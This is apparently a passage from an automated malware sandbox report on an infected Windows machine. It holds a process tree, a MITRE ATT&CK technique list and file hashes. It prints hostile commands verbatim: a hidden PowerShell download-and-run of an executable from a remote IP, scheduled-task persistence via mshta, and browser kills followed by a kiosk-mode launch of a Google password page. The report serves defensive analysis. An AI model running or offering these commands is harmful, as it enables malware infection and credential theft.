      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2232
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:5252
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:376
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1924 -prefMapHandle 1908 -prefsLen 27254 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3ee1d72d-1475-48c4-9552-de1275bf2017} 376 "\\.\pipe\gecko-crash-server-pipe.376" gpu
        6⤵
        
        PID:2496
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2436 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2396 -prefsLen 28174 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {13383434-0875-4599-bc06-c0a258f3c6a6} 376 "\\.\pipe\gecko-crash-server-pipe.376" socket
        6⤵
        
        PID:1680
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2928 -childID 1 -isForBrowser -prefsHandle 3160 -prefMapHandle 2792 -prefsLen 22636 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c05e098-b402-4747-89e3-82c5011cf6e7} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:5652
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3988 -childID 2 -isForBrowser -prefsHandle 3948 -prefMapHandle 3944 -prefsLen 32664 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {260c5f26-3e1d-427b-b643-e652c4ee79fc} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:5760
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4656 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4648 -prefMapHandle 4608 -prefsLen 32664 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {86148f5c-fe14-4278-b9f5-2e0af33289ab} 376 "\\.\pipe\gecko-crash-server-pipe.376" utility
        6⤵
        Checks processor information in registry
        
        PID:5928
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5336 -childID 3 -isForBrowser -prefsHandle 5328 -prefMapHandle 5256 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54429e59-fe09-40f6-ae3e-dbb88a7cff3f} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:3604
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5564 -childID 4 -isForBrowser -prefsHandle 5492 -prefMapHandle 5344 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f1eac90e-ecef-4325-b365-a72802013ac6} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:5168
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5700 -childID 5 -isForBrowser -prefsHandle 5776 -prefMapHandle 5572 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2499369f-9f17-4fa6-9cd3-13f5e5d74f90} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:2076
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3952 -parentBuildID 20240401114208 -prefsHandle 1996 -prefMapHandle 3408 -prefsLen 32871 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {91d6acea-8e1d-4c45-a5cc-36aa28bf6eb7} 376 "\\.\pipe\gecko-crash-server-pipe.376" gpu
        6⤵
        
        PID:5832
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4892 -childID 6 -isForBrowser -prefsHandle 3480 -prefMapHandle 2712 -prefsLen 32871 -prefMapSize 244628 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bea97849-a436-4259-ae9d-f2251f333be6} 376 "\\.\pipe\gecko-crash-server-pipe.376" tab
        6⤵
        
        PID:880
- - C:\Users\Admin\AppData\Local\Temp\1086067001\f87108fa87.exe
    "C:\Users\Admin\AppData\Local\Temp\1086067001\f87108fa87.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn FPBG3mabQuH /tr "mshta C:\Users\Admin\AppData\Local\Temp\Zagk4upr9.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3520
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn FPBG3mabQuH /tr "mshta C:\Users\Admin\AppData\Local\Temp\Zagk4upr9.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4148
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\Zagk4upr9.hta
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      PID:5284
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'S02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2056
      - C:\Users\Admin\AppData\Local\TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
        
        "C:\Users\Admin\AppData\Local\TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:3152
- - C:\Users\Admin\AppData\Local\Temp\1086068001\4c417d357a.exe
    "C:\Users\Admin\AppData\Local\Temp\1086068001\4c417d357a.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:1412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 1520
      4⤵
      Program crash
      PID:1672
- - C:\Users\Admin\AppData\Local\Temp\1086069001\c24c96d9d3.exe
    "C:\Users\Admin\AppData\Local\Temp\1086069001\c24c96d9d3.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5124
- - C:\Users\Admin\AppData\Local\Temp\1086070001\e8aae7c912.exe
    "C:\Users\Admin\AppData\Local\Temp\1086070001\e8aae7c912.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4188
- - C:\Users\Admin\AppData\Local\Temp\1086071001\ba60aa84c6.exe
    "C:\Users\Admin\AppData\Local\Temp\1086071001\ba60aa84c6.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2132
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 724
      4⤵
      Program crash
      PID:5104
- - C:\Users\Admin\AppData\Local\Temp\1086072001\adf030da0c.exe
    "C:\Users\Admin\AppData\Local\Temp\1086072001\adf030da0c.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6024
- - C:\Users\Admin\AppData\Local\Temp\1086073001\8b4f2ce5c5.exe
    "C:\Users\Admin\AppData\Local\Temp\1086073001\8b4f2ce5c5.exe"
    3⤵
    - Executes dropped EXE
    PID:2188
- - C:\Users\Admin\AppData\Local\Temp\1086074001\Setup_2024.exe
    "C:\Users\Admin\AppData\Local\Temp\1086074001\Setup_2024.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:1456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Office 2024 Installer\Click To Run.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:5260
    - - C:\Program Files (x86)\Office 2024 Installer\setup.exe
        
        setup /configure configuration.xml
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Checks system information in the registry
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:628
- - C:\Users\Admin\AppData\Local\Temp\1086075001\jROrnzx.exe
    "C:\Users\Admin\AppData\Local\Temp\1086075001\jROrnzx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3068
  - - C:\Users\Admin\AppData\Local\Temp\1086075001\jROrnzx.exe
      "C:\Users\Admin\AppData\Local\Temp\1086075001\jROrnzx.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5480
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3068 -s 968
      4⤵
      Program crash
      PID:6012
- - C:\Users\Admin\AppData\Local\Temp\1086076001\d2YQIJa.exe
    "C:\Users\Admin\AppData\Local\Temp\1086076001\d2YQIJa.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3924
- - C:\Users\Admin\AppData\Local\Temp\1086078001\qFqSpAp.exe
    "C:\Users\Admin\AppData\Local\Temp\1086078001\qFqSpAp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5724
- - C:\Users\Admin\AppData\Local\Temp\1086079001\DTQCxXZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1086079001\DTQCxXZ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1652 -ip 1652
1⤵
PID:3808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4196 -ip 4196
1⤵
PID:4236

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3116 -ip 3116
1⤵
PID:1120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3116 -ip 3116
1⤵
PID:1212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 400 -ip 400
1⤵
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2768 -ip 2768
1⤵
PID:1484

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2072

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5440

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
- Executes dropped EXE
PID:5756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4440 -ip 4440
1⤵
PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6012 -ip 6012
1⤵
PID:4864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1412 -ip 1412
1⤵
PID:1588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5800 -ip 5800
1⤵
PID:2252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2132 -ip 2132
1⤵
PID:744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3068 -ip 3068
1⤵
PID:1564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Office 2024 Installer\Click To Run.bat

Filesize
34B

MD5
ad3ed1d41f9b51f7f203d56597c05958

SHA1
724822195edeff84c01f298212dbaebf1b55a0d2

SHA256
413b8e555d8f42c56d22d6843708f7bfcb0bbedb4f833bf3c89880665925bd14

SHA512
dcb33488d6a8da2ca6ab1307fba58c68e62cd31e592058bf9c6a1621bff20da4b5df49684a7cac058b522619fd8b785446a251ae5656fba7a4d666dfa303f290

Download Submit
C:\ProgramData\aieus\p8900h

Filesize
9KB

MD5
f1fce7fbda57ee68787689fa67c8df4f

SHA1
c1688e5404c670a37af3546056429a46896d1bb9

SHA256
5826edcbb26c45bc91c578e1e89abb3a7c1454be3ac8dc39e7756efbabd4f1cb

SHA512
add3aaec6c24fdd12857283b8d87e866b7f10a53d4722eacb4e823dafe5e897fe5b2a2fcdc562fad62c8b5ed096e66701d5edf04688c03ac9ed7d25b22ff707a

Download Submit
C:\Users\Admin:.repos

Filesize
1.2MB

MD5
6da76ee6d76fd757453636afca66a2a8

SHA1
a36d0ab0aa2535dda8f0f567d72f62fe97f3c379

SHA256
eaa811dde1e52903a7ba3862645ff32159eea0551ebc9b2fb9393d9ae79f5d71

SHA512
eca94ebf48b6662f8adc45ea58f55f2f89578de835127374101fad6e01cb83b32967e3b13c929c8efc22b431e5fccd6635e9f38e1c21a3085a38c9c6edb53b89

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
cbe40b683eb2c478ed1ed77677a96ac3

SHA1
0dabaf892dc17423d6fd307a1e36b0cb999b32dc

SHA256
4b7ae373334d86628704ab4e83dea10f0b7e96425dd4a0560c48a98ff3540d49

SHA512
48c04cfc2a38ae0dbf28e4b2430f69295b8acf6e93d7db3111cf9b8e744f722b1708019bcec6f26e5a46482a2ce842a957cefc2cd9fb9c59cfc84203bacdaf9e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e27df0383d108b2d6cd975d1b42b1afe

SHA1
c216daa71094da3ffa15c787c41b0bc7b32ed40b

SHA256
812f547f1e22a4bd045b73ff548025fabd59c6cba0da6991fdd8cfcb32653855

SHA512
471935e26a55d26449e48d4c38933ab8c369a92d8f24fd6077131247e8d116d95aa110dd424fa6095176a6c763a6271e978766e74d8022e9cdcc11e6355408ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
395082c6d7ec10a326236e60b79602f2

SHA1
203db9756fc9f65a0181ac49bca7f0e7e4edfb5b

SHA256
b9ea226a0a67039df83a9652b42bb7b0cc2e6fa827d55d043bc36dd9d8e4cd25

SHA512
7095c260b87a0e31ddfc5ddf5730848433dcede2672ca71091efb8c6b1b0fc3333d0540c3ce41087702c99bca22a4548f12692234188e6f457c2f75ab12316bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
41e2d723168b3d26cc249f1e47c99e31

SHA1
c9c49d07a61e86d95a8941c18ee8c97327a2b10b

SHA256
89f92906ae22d43a5885658ff617e905593295b3031056eee19bdd81315f86f6

SHA512
1f584f3a4130c576184357433b3448f7d4729a5e17851f50a52dd9fa2cf62a819b942f540167c304da4290a89ebca381d9df0c22f11477e43e0481dd430c1ae4

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\outbhah2.default-release\activity-stream.discovery_stream.json

Filesize
22KB

MD5
bfa7895a411d33be20c0f4b2a18d71d0

SHA1
3e79b23a800fe358d734fc943cd215ae725c1f4f

SHA256
48fb024f53fc5c2851668d408e7814436198a883a5838461c14557b715e8950e

SHA512
2bd74151d245a6d963f206139739c47360a156f709157ac7a7df153bc16ddeab311ba665ad430fb7eb4a347a9033204393f1fcab9bbbb4c3c660acd0cccf3400

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\outbhah2.default-release\activity-stream.discovery_stream.json.tmp

Filesize
21KB

MD5
a09ae956ad54c85b2ece821e8807013d

SHA1
bde24cec16cdc98cb1809f29d19597f90d36c101

SHA256
242229525b638fc3a2d57c8489b4085548f2d6bcf186992d647b209897f2600a

SHA512
58e59e49736e0c9eefba5aa334f8d389711d9ea84cb8a7abed5fac276ed91bcf990b78eb80da557d76d34d5b5afac246b2556d4e9fb5a0f176b5579590d67bee

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\outbhah2.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE

Filesize
2.0MB

MD5
b155bbc073ca59da4f35abbc72810e50

SHA1
222fc70f9c8452799c21de2afd6b1caf6a8f2c1a

SHA256
632c2e158aa20b4113f7ac7b4fe104ae752fe9e84d1ca411383db998544dfd39

SHA512
2f2f48811e2005106cb910ed64298d3469bd7cb282656418311879acb6827c8df0180965780cff4ca56fe88b46ce7afa2344984c3952c2f65732d3b8670d9642

Download Submit
C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe

Filesize
19.4MB

MD5
f70d82388840543cad588967897e5802

SHA1
cd21b0b36071397032a181d770acd811fd593e6e

SHA256
1be1102a35feb821793dd317c1d61957d95475eab0a9fdc2232f3a3052623e35

SHA512
3d144eee4a770b5c625e7b5216c20d3d37942a29e08560f4ebf2c36c703831fd18784cd53f3a4a2f91148ec852454ac84fc0eb7f579bb9d11690a2978eb6eef6

Download Submit
C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe

Filesize
350KB

MD5
a8ead31687926172939f6c1f40b6cc31

SHA1
2f91f75dbdef8820146ceb6470634ab1ffb7b156

SHA256
84aad76d2d1ac2179ea160565a28fc850ee125ff74c3aeb1754d20d8c9ed870c

SHA512
a0082f833c6858208f04a62b03088873baac303203f758e458a1a067572ffe9785edb30dd075acbfc1431272f56a1b1be168ef29f6db0a7ee55578dc712fa387

Download Submit
C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe

Filesize
348KB

MD5
ce869420036665a228c86599361f0423

SHA1
8732dfe486f5a7daa4aedda48a3eb134bc2f35c0

SHA256
eb04f77eb4f92dd2b46d04408166a32505e5016435ccd84476f20eeba542dafd

SHA512
66f47f62ce2c0b49c6effcd152e49360b5fa4667f0db74bff7ff723f6e4bfc4df305ae249fad06feeaad57df14ee9919b7dcc04f7a55bb4b07e96406ed14319e

Download Submit
C:\Users\Admin\AppData\Local\Temp\10007530101\8b4f2ce5c5.exe

Filesize
3.7MB

MD5
f194205274206be1fc33ae11fbbf166a

SHA1
63811ecb7403be783b40835306b25ec62cb0a1e6

SHA256
081768de3838617112cac2d8ab1aa35c10f75d52f2e4e80e5a6b308afee4d311

SHA512
1526e24a15d660bb4cefa645b66d7eb9e6302e9112ff1c4b307038ed930846a095dbb2fcf5db3d2b02b52626e99208b61d4d13880b58a5647ac7c3a5c8f094a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1014060001\01ccd043a7.exe

Filesize
681KB

MD5
0ea6121031a65868908d4351d1fd44ed

SHA1
63b53d41544e4535b44d6ce57f22bdc6184a48d9

SHA256
906bba1ebdb3cb9cc5840fda24e9c0c9147e779e1ecf479910d04b6ef5588bd1

SHA512
86273ce121e8891ea2ceae56ed95646905a37a0536f7b2b4937949020396f2d10951793913280e9c8f76e81610a4dcbacc9339810c2fd590d9b3c54c81ef34b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe

Filesize
9.8MB

MD5
db3632ef37d9e27dfa2fd76f320540ca

SHA1
f894b26a6910e1eb53b1891c651754a2b28ddd86

SHA256
0513f12c182a105759497d8280f1c06800a8ff07e1d69341268f3c08ecc27c6d

SHA512
4490b25598707577f0b1ba1f0fbe52556f752b591c433117d0f94ce386e86e101527b3d1f9982d6e097e1fcb724325fdd1837cc51d94c6b5704fd8df244648fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe

Filesize
325KB

MD5
f071beebff0bcff843395dc61a8d53c8

SHA1
82444a2bba58b07cb8e74a28b4b0f715500749b2

SHA256
0d89d83e0840155d3a4ceca1d514e92d9af14074be53abc541f80b6af3b0ceec

SHA512
1ac92897a11dbd3bd13b76bfeb2c8941fdffa7f33bc9e4db7781061fb684bfe8b8d19c21a22b3b551987f871c047b7518091b31fc743757d8f235c88628d121d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe

Filesize
345KB

MD5
5a30bd32da3d78bf2e52fa3c17681ea8

SHA1
a2a3594420e586f2432a5442767a3881ebbb1fca

SHA256
4287dfb79a5b2caa651649343e65cdd15c440d67e006c707a68e6a49697f9f33

SHA512
0e88a0e07053d7358dc3a57e8d1781a4ab47f166d5d1d8a9463c0ca9392f3aba259a4cd18adffd1b83b6778d7a8296625701846af23383abea24e266d504c634

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe

Filesize
2.1MB

MD5
b1209205d9a5af39794bdd27e98134ef

SHA1
1528163817f6df4c971143a1025d9e89d83f4c3d

SHA256
8d7b5e82a483a74267934b095f8f817bdc8b9524dffdd8cc5e343eca792264bd

SHA512
49aa4fcbfded0c155922fe25efce847882b980c8a08d9b78c1a67cc3eb90449e7c8fbafc3420b63725f60ece9bd9c563904387052ae2d457cabeaa384a2e9bf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1

Filesize
881KB

MD5
2b6ab9752e0a268f3d90f1f985541b43

SHA1
49e5dfd9b9672bb98f7ffc740af22833bd0eb680

SHA256
da3b1ac39de4a77b643a4e1c03fc793bad1b66bfd8624630de173004857972df

SHA512
130879c67bfcea3a9fe553342f672d70409fe3db8466c3a28ba98400b04243ebf790b2cf7e4d08ca3034fd370d884f9cbdd31de6b5309e9e6a4364d3152b3ace

Download Submit
C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe

Filesize
1.7MB

MD5
f662cb18e04cc62863751b672570bd7d

SHA1
1630d460c4ca5061d1d10ecdfd9a3c7d85b30896

SHA256
1e9ff1fc659f304a408cff60895ef815d0a9d669a3d462e0046f55c8c6feafc2

SHA512
ce51435c8fb272e40c323f03e8bb6dfa92d89c97bf1e26dc960b7cab6642c2e4bc4804660d0adac61e3b77c46bca056f6d53bedabcbeb3be5b6151bf61cee8f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe

Filesize
334KB

MD5
d29f7e1b35faf20ce60e4ce9730dab49

SHA1
6beb535c5dc8f9518c656015c8c22d733339a2b6

SHA256
e6a4ff786a627dd0b763ccfc8922d2f29b55d9e2f3aa7d1ea9452394a69b9f40

SHA512
59d458b6ad32f7de04a85139c5a0351dd39fc0b59472988417ca20ba8ed6cb1d3d5206640d728b092f8460a5f79c0ab5cc73225fba70f8b62798ffd28ed89f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe

Filesize
4.9MB

MD5
bb91831f3ef310201e5b9dad77d47dc6

SHA1
7ea2858c1ca77d70c59953e121958019bc56a3bd

SHA256
f1590a1e06503dc59a6758ed07dc9acc828e1bc0cd3527382a8fd89701cffb2b

SHA512
e8ff30080838df25be126b7d10ae41bf08fe8f2d91dbd06614f22fde00a984a69266f71ec67ed22cb9b73a1fcb79b4b183a0709bf227d2184f65d3b1a0048ece

Download Submit
C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe

Filesize
2.0MB

MD5
